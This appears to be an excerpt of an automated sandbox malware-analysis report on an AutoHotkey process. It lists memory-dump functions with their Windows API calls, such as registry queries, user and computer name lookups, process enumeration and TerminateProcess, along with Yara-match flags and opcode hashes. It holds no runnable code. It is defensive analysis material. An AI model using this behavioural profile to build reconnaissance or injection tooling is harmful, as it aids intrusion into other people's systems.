Uniqueness

Uniqueness Score: -1.00%

Function 004662FE Relevance: 4.6, APIs: 3, Instructions: 85timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00466490

Part of subcall function 0049A18D: RtlFreeHeap.NTDLL(00000000,00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1A3
Part of subcall function 0049A18D: GetLastError.KERNEL32(00000000,?,0049DF53,00000000,?,0049F727,?,0047FFCE), ref: 0049A1B5

GetTickCount.KERNEL32 ref: 004664C9
SetTimer.USER32(0002044A,0000000D,00002710,00446BB0), ref: 004664FF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountErrorFreeHeapLastTickTimer_free
String ID:
API String ID: 2937406964-0
Opcode ID: 19e9682df60a7aa0ab44984f32fbf0816d0052ea2be4ac951366ee02a7b41340
Instruction ID: fbe660ab59d1c16caad6faaf06460ae0cd23b714aefe5515e173963e903f2271
Opcode Fuzzy Hash: 19e9682df60a7aa0ab44984f32fbf0816d0052ea2be4ac951366ee02a7b41340
Instruction Fuzzy Hash: A7315BB1509240DFD710DF25E884B9B7BE5BB84708F098A2FF88596250E738D949CB5B

Uniqueness

Uniqueness Score: -1.00%

Function 004662D8 Relevance: 4.6, APIs: 3, Instructions: 83timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00466490
GetTickCount.KERNEL32 ref: 004664C9
SetTimer.USER32(0002044A,0000000D,00002710,00446BB0), ref: 004664FF

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTickTimer_free
String ID:
API String ID: 4185866143-0
Opcode ID: bbc31d1e325bd0e862d4c5195a027f65ddc92fb53bac4f826f21b41502aa6c99
Instruction ID: 965edcf29228e748a8bce1cae2abfd0d5af824b2297bd87d49fc2bfde01b466b
Opcode Fuzzy Hash: bbc31d1e325bd0e862d4c5195a027f65ddc92fb53bac4f826f21b41502aa6c99
Instruction Fuzzy Hash: 693169B1509240DFD710DF25E884B9BBBE5EB84708F08892FF88596250EB38D945CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 04875071 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00000000,00020119,?,?,?,?,?,04871722,?,00000000,04871885,?,?,00000000), ref: 048750B7
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,00000100,80000002,00000000,00000000,00020119,?,?,?,?,?,04871722), ref: 048750DE
RegCloseKey.ADVAPI32(?,80000002,00000000,00000000,00020119,?,?,?,?,?,04871722,?,00000000,04871885), ref: 04875103

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 74b2d28ce19a860730b65e831c662c2118fa86ed3135638d7fc046ceee5fbe1f
Instruction ID: ba853a9cda2ff4af5f8c4d2d93cb48311aafaa4850d099a3c276c64dc7276c6d
Opcode Fuzzy Hash: 74b2d28ce19a860730b65e831c662c2118fa86ed3135638d7fc046ceee5fbe1f
Instruction Fuzzy Hash: 5E113371A0021C7BDB10EE9DDC81EEEB3ACAB48315F004A75EA14D7240E7B0AA4547A1

Uniqueness

Uniqueness Score: -1.00%

Function 0487459D Relevance: 4.6, APIs: 3, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,04874621,?,?,?,00000001), ref: 048745E2
WriteFile.KERNEL32(00000000,?,00000000,048746A2,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,04874621), ref: 048745FA
CloseHandle.KERNEL32(00000000,00000000,?,00000000,048746A2,00000000,00000000,40000000,00000002,00000000,00000002,00000000,00000000,00000000,04874621), ref: 04874606

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 096b4bf337662dd24fe8b8ec3481f46f1df1887deb03310bd003a285ce157e95
Instruction ID: 5e318058a835d626c74daadaf24fffc54665d53fab38422bf4dcdab47144b48c
Opcode Fuzzy Hash: 096b4bf337662dd24fe8b8ec3481f46f1df1887deb03310bd003a285ce157e95
Instruction Fuzzy Hash: E801B171604308BFF721AAAC8C92FAEB7ACDB85F18F614F75B510E25D0D7B4AD004965

Uniqueness

Uniqueness Score: -1.00%

Function 00404250 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000001,?,?,?,?,00404316), ref: 00404256

Part of subcall function 0044B8F0: GetCurrentDirectoryW.KERNEL32(00008000,00404316,?,00404263,?,?,?,?,00404316), ref: 0044B907

Strings

Out of memory., xrefs: 004042A3

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CurrentDirectoryErrorMode
String ID: Out of memory.
API String ID: 3557233301-4087320997
Opcode ID: b0c70859a60a6403659dcb806d2b0f406f2108c8162651e15fa6e0f0477860ea
Instruction ID: 38425df4af83a61dfd6fa476d200fd4f80910d7d70234c3cd8a878932f239f92
Opcode Fuzzy Hash: b0c70859a60a6403659dcb806d2b0f406f2108c8162651e15fa6e0f0477860ea
Instruction Fuzzy Hash: 6211256670060457C7206F66A841A9B3798EBC13A8B05457FFE05AB3D1EB7DEE0482ED

Uniqueness

Uniqueness Score: -1.00%

Function 04875E39 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000,?,?,?,?,0485BD21,00000000,0485C1F0,?,?,00000000,00000000), ref: 04875E7B

Strings

GetFileAttributesA, xrefs: 04875E5F

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: GetFileAttributesA
API String ID: 3188754299-811605020
Opcode ID: e575bd19392b61a5ff8e77ec741784582c2e9c9a5e54f61aae10fd08876fc5d8
Instruction ID: 32a710cf2e54cf106a13f537983dd7ef5d7a2d857259709809ec7dd162db93df
Opcode Fuzzy Hash: e575bd19392b61a5ff8e77ec741784582c2e9c9a5e54f61aae10fd08876fc5d8
Instruction Fuzzy Hash: EAF06272A04308FFE700DBB9DCA595E77E8EB45714B905E74E500D3A50E6B9FD00EA11

Uniqueness

Uniqueness Score: -1.00%

Function 048758BD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(00000000,00000000,?,?,?,?,0487595B,00000000,04875973,?,?,?,?,04874FE2,?,048685A4), ref: 048758F9

Strings

CreateDirectoryA, xrefs: 048758DB

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID: CreateDirectoryA
API String ID: 4241100979-2169353901
Opcode ID: a5debc341c426f9dc9bb7076f08103ed6ed36ba27db9c9c6dca26a7b3ff69496
Instruction ID: af7d78cfeae678a37b3f3482c58246db158713a85aa7f9139424c7aaae124a2d
Opcode Fuzzy Hash: a5debc341c426f9dc9bb7076f08103ed6ed36ba27db9c9c6dca26a7b3ff69496
Instruction Fuzzy Hash: 44F05E71614208BFE701DBA9EC52E1EB7E8E749610B914D70E500D3A01E6B9AE109A21

Uniqueness

Uniqueness Score: -1.00%

Function 04875749 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(00000000,00000000,?,00000001,04875243,0486DF05,00000000,00000000,00000002,00000000,00000000,00000000,00000002,00000000,0486E219,00000000), ref: 04875762

Strings

TerminateProcess, xrefs: 0487574F

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID: TerminateProcess
API String ID: 560597551-2873147277
Opcode ID: a1d759ef0838d5e94b480a8ea30e2e9151bbf1f0e3b9a91e5f20ce8f7aded7c2
Instruction ID: d5d6e21b31b27d14dbb7f458b2d6ca26aad1415e25f5c5bba7b4f58973b01865
Opcode Fuzzy Hash: a1d759ef0838d5e94b480a8ea30e2e9151bbf1f0e3b9a91e5f20ce8f7aded7c2
Instruction Fuzzy Hash: 81C04CB2B22220BBB71096E96C88C976BDCEE495A13054D62B615C3601D6A89C505BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00404190 Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,?,00000000,004AC858,000000FF,00408718,?,?,00004001,00000001,0000030C), ref: 004041FA
_free.LIBCMT ref: 00404215

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: ChangeCloseFindNotification_free
String ID:
API String ID: 2993663561-0
Opcode ID: a5c98d2a72a08bb4ccc50ab5eb28ee9faa61bccaa725121493dc683ec331b5fa
Instruction ID: 41f877f1f6302fc59ff80e6d7ab69f071caa4bce07e8174407a26e36b7efb25f
Opcode Fuzzy Hash: a5c98d2a72a08bb4ccc50ab5eb28ee9faa61bccaa725121493dc683ec331b5fa
Instruction Fuzzy Hash: 95115BB1500B509BD721CF18D944B17B7E4FF89760F544A2EF4A6A7BD0D37CA8408B89

Uniqueness

Uniqueness Score: -1.00%

Function 048456BD Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 048455D7
SysAllocStringLen.OLEAUT32(?,?), ref: 048456C8
SysFreeString.OLEAUT32(00000000), ref: 048456DA

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: b9a0b81224fafffd09e26044de55a0ceaecf63f4a38d97008b2848704e85ee23
Instruction ID: fafa87e221fa3817ce880c300f9b5bb87bf9dec892468f913948addb48f545b4
Opcode Fuzzy Hash: b9a0b81224fafffd09e26044de55a0ceaecf63f4a38d97008b2848704e85ee23
Instruction Fuzzy Hash: 53C012FC21130E6EBB052F20492893E2769AECA7093500EA8B901C9200EB6AF681A421

Uniqueness

Uniqueness Score: -1.00%

Function 04842105 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,04842498), ref: 04842134
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,04842498), ref: 0484215B

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 8a7da37ee1001678662bf6e54ccf2d9a5688fd72c548148c257b6ec02dccd5d1
Instruction ID: ebf4e3be997fff75973351d0c5e5328eddc468a7021601c82b17e7c60dca3577
Opcode Fuzzy Hash: 8a7da37ee1001678662bf6e54ccf2d9a5688fd72c548148c257b6ec02dccd5d1
Instruction Fuzzy Hash: CFF0A7B2F0473467FB219AAD4C88B5755849FC5BD4F194AB0FB48EF3C8E6E1B84142A1

Uniqueness

Uniqueness Score: -1.00%

Function 00437070 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d54320ea828efed171509a536ee03f5f3d96f88e1580a83f15ab18b66478964d
Instruction ID: ca01143739f2e02c276dad3e3a4ee545a9beb865deba4d63e52cbaf9d05922f1
Opcode Fuzzy Hash: d54320ea828efed171509a536ee03f5f3d96f88e1580a83f15ab18b66478964d
Instruction Fuzzy Hash: B341EDB26092019BDB24CF14EC84B6677A5EB8D324F24915FE4C14B391C739DC41C76A

Uniqueness

Uniqueness Score: -1.00%

Function 04872089 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000011), ref: 048720C3

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 9105ed1082fc36b86ee5aba64df5f263e3974dd8b25fcb8ec6c033e0c68ec016
Instruction ID: 7963c6f72b297346ca9b16b25629b65de464e7e923d7d7e5852f5c62002136f1
Opcode Fuzzy Hash: 9105ed1082fc36b86ee5aba64df5f263e3974dd8b25fcb8ec6c033e0c68ec016
Instruction Fuzzy Hash: 6D012131A0420C9BEB05EBA9D8609DDB3B9EB8C314B518A75D511E2650FA74F5048A62

Uniqueness

Uniqueness Score: -1.00%

Function 0047D6D0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0047D6DD

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID:
API String ID: 501242067-0
Opcode ID: 744d596e89a22072067e06abad0c6876cdad1b58dfed09ae2c14f2e5ea897def
Instruction ID: d3138546fd639746f6f0914a22fb511e5ca1f9358f16b7c35768eb7a5998e34b
Opcode Fuzzy Hash: 744d596e89a22072067e06abad0c6876cdad1b58dfed09ae2c14f2e5ea897def
Instruction Fuzzy Hash: 52F05E71A10A028FDBA4CB39D894B2BB3E6BFD4314B14862ED44EC3B45E734F841CA48

Uniqueness

Uniqueness Score: -1.00%

Function 0047D030 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 0049A782: _malloc.LIBCMT ref: 0049A79C

_malloc.LIBCMT ref: 0047D04D

Part of subcall function 0049A0EE: __FF_MSGBANNER.LIBCMT ref: 0049A107
Part of subcall function 0049A0EE: __NMSG_WRITE.LIBCMT ref: 0049A10E
Part of subcall function 0049A0EE: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,004A1668,00401234,00000001,00401234,?,0049EB7D,00000018,004CFE28,0000000C,0049EC0D), ref: 0049A133

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: _malloc$AllocateHeap
String ID:
API String ID: 680241177-0
Opcode ID: 663d1d11b724a3ed6e87d9bc3ea8fdacfbe1ca0db763c36514e86865a39b6252
Instruction ID: b79e1b1c2edb02dd2ace68102601568de1439367354d57c28c176dc2c7eed686
Opcode Fuzzy Hash: 663d1d11b724a3ed6e87d9bc3ea8fdacfbe1ca0db763c36514e86865a39b6252
Instruction Fuzzy Hash: B6E06DB19026214AD761AF65BC0A3837BE0AF10758F04843BF8C996301E6BCD99587CB

Uniqueness

Uniqueness Score: -1.00%

Function 0487202D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 04872051

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 7ed426666fdfabaec96553ad2da44dc8ed81b41b05e2f9006b86400a1667c5d5
Instruction ID: 5ac68dc529ae955dc0d0465b6aae8d1d3f9301f28c33f5abf22a0b66d77a5979
Opcode Fuzzy Hash: 7ed426666fdfabaec96553ad2da44dc8ed81b41b05e2f9006b86400a1667c5d5
Instruction Fuzzy Hash: D5E0ED7130420867E700FA68DC9499E72999BC4708F005E3969CACB281EAFAFD849663

Uniqueness

Uniqueness Score: -1.00%

Function 048464A1 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000105), ref: 048464BF

Part of subcall function 04846735: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 04846750
Part of subcall function 04846735: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0484676E
Part of subcall function 04846735: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 0484678C
Part of subcall function 04846735: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 048467AA
Part of subcall function 04846735: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,04846839,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 048467F3
Part of subcall function 04846735: RegQueryValueExA.ADVAPI32(?,048469B5,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,04846839,?,80000001), ref: 04846811
Part of subcall function 04846735: RegCloseKey.ADVAPI32(?,04846840,00000000,00000000,00000005,00000000,04846839,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 04846833

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: aca5e066b41eed28f3f5e6cb050fd2c26d221325605f938b2c0a29fe1b907219
Instruction ID: b3249c435154e8de45e96210de95bca6d9a1e0c32d44289c8e3fbb931df29352
Opcode Fuzzy Hash: aca5e066b41eed28f3f5e6cb050fd2c26d221325605f938b2c0a29fe1b907219
Instruction Fuzzy Hash: ECE06DB1A002288FDB10DE5C88C4B4237D8AB48754F004A91AC58DF24AE3B5E95087D1

Uniqueness

Uniqueness Score: -1.00%

Function 04848BF1 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CharLowerBuffA.USER32(00000000,00000000,?,00000000,00000000,0487C718,00000000,0487C758), ref: 04848C1B

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: BuffCharLower
String ID:
API String ID: 2358735015-0
Opcode ID: a5d63da8c5b4bf74d6e91533128ac9c5a89ef7081f6d684566daabab1f11077a
Instruction ID: 11cab9292976ff5ece594476c24b0840a4ecd54d9ba708100b593b2c2a80ed27
Opcode Fuzzy Hash: a5d63da8c5b4bf74d6e91533128ac9c5a89ef7081f6d684566daabab1f11077a
Instruction Fuzzy Hash: 3BD05EA17012292B2240B9BE1CC0A5EC2CD8FD94693150E36F608C7310EF94EC0602A6

Uniqueness

Uniqueness Score: -1.00%

Function 0485BBA9 Relevance: 1.5, APIs: 1, Instructions: 17processCOMMON

Download Yara Rule

APIs

Part of subcall function 0485B92D: GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,0485BBB4,?,?,048742C9,00000000,048743A7,?,?,?,?,?,0485BCFA,00000000,0485C1F0), ref: 0485B941
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0485B959
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0485B96B
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0485B97D
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0485B98F
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0485B9A1
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0485B9B3
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32First), ref: 0485B9C5
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0485B9D7
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0485B9E9
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0485B9FB
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0485BA0D
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0485BA1F
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32First), ref: 0485BA31
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0485BA43
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 0485BA55
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 0485BA67

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0485BBBA

Memory Dump Source

Source File: 00000001.00000002.1665821526.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Offset: 04840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4840000_AutoHotkey.jbxd

Yara matches

Similarity

API ID: AddressProc$CreateHandleModuleSnapshotToolhelp32
String ID:
API String ID: 2242398760-0
Opcode ID: e70f2cb6fc2998d303dcb753be0a6d103cfe106339275afcf3ca8729155b2e43
Instruction ID: 1ead506edbebb2eb31569b636243467c47df9fe8218fac6b297b2ddb74000f22
Opcode Fuzzy Hash: e70f2cb6fc2998d303dcb753be0a6d103cfe106339275afcf3ca8729155b2e43
Instruction Fuzzy Hash: 00C08092A01121175E1065FD7C84CD3974CCDC50B63040D62B905D3111E2F99C1091A0

Uniqueness

Uniqueness Score: -1.00%

Function 0485BBC9 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 0485B92D: GetModuleHandleA.KERNEL32(kernel32.dll,0000000F,0485BBB4,?,?,048742C9,00000000,048743A7,?,?,?,?,?,0485BCFA,00000000,0485C1F0), ref: 0485B941
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 0485B959
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 0485B96B
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 0485B97D
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0485B98F
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 0485B9A1
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 0485B9B3
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32First), ref: 0485B9C5
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 0485B9D7
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 0485B9E9
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 0485B9FB
Part of subcall function 0485B92D: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 0485BA0D
